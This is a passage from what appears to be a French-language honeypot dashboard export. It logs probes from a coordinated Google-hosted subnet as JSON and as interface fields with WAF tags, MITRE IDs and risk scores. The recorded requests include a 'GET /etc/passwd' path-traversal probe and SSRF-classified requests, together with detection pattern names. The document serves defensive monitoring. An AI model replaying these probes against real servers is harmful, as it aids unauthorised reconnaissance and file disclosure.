"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"evidence": {
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e235a729aad801ca2039a099d3cd869599111c9d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 66,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9207,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9207"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:53:11 UTC
TCP
8888 · HTTP
SSRF interne
ssrf internal · via HTTP:8888 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8888
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
HTTP alt 8888 probe
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8888
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8888 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.357729020258063,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8888,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e11c1b827d438ca6f81f14ef35ff35f7c31ff992",
"event_fingerprint": "d96673c00b57d970f6555d6dff66c77e09351a74",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324",
"pat-0599"
],
"matched_pattern_names": [
"SSRF Any-address SSRF",
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0324",
"pat-0599"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "e4f1deb97dadb03be2696e7018622f71",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8c67378588b58e4735d670e988f0d9bccac84998",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d'exploit)",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 20,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
30/07/2026 18:50:19 UTC
TCP
8444 · HTTP
SSRF interne
ssrf internal · via HTTP:8444 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8444
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8444
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8444 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "5a8896ca02b7c8248689125cb65bafaf57b7aac3",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.375270168895017,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8444,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.3,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "76713f3e156fd88f9fc60b401c7e42c28a7cb4a9",
"event_fingerprint": "aba5c1a6a33a0f6964401985080f9f2e5bec224c",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "3d7d46b6f5ef3dc92b94bf7de9a0e045",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8444,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "869cc62eefc6a40f381901c8dbdb049edd7c0b12",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit)",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 72,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8444,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
